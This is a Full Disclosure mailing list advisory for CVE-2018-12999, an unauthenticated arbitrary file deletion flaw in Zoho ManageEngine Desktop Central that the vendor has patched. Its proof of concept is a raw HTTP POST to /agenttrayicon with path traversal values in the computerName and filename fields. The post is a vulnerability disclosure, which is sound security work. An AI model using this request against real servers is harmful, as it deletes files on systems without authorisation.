[CVE-2018-12999]Zoho manageengine Desktop Central Arbitrary File Deletion

["xiaotian.wang"<xiaotian.wang () dbappsecurity com cn>]

This issue has been reported to the vendor who has already published patches for this issue.




==========================
Advisory: Zoho manageengine Desktop Central Arbitrary File Deletion
Author: M3 From DBAppSecurity
Affected Products:Desktop Central
==========================
Proof of Concept:
==========================


POST /agenttrayicon HTTP/1.1 Host: 192.168.1.203:8020 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en 
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: 
application/x-www-form-urlencoded Content-Length: 129 
screenShotAttached=yesvideo_type=2customerId=1computerName=../../../resourceId=xxxfilename=../images/demo/loginas_bottom.gif


Notice: This vul can reproduce without login, file deletion is damageable, so use a useless file for test.

Attachment: 3333.png
Description:

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/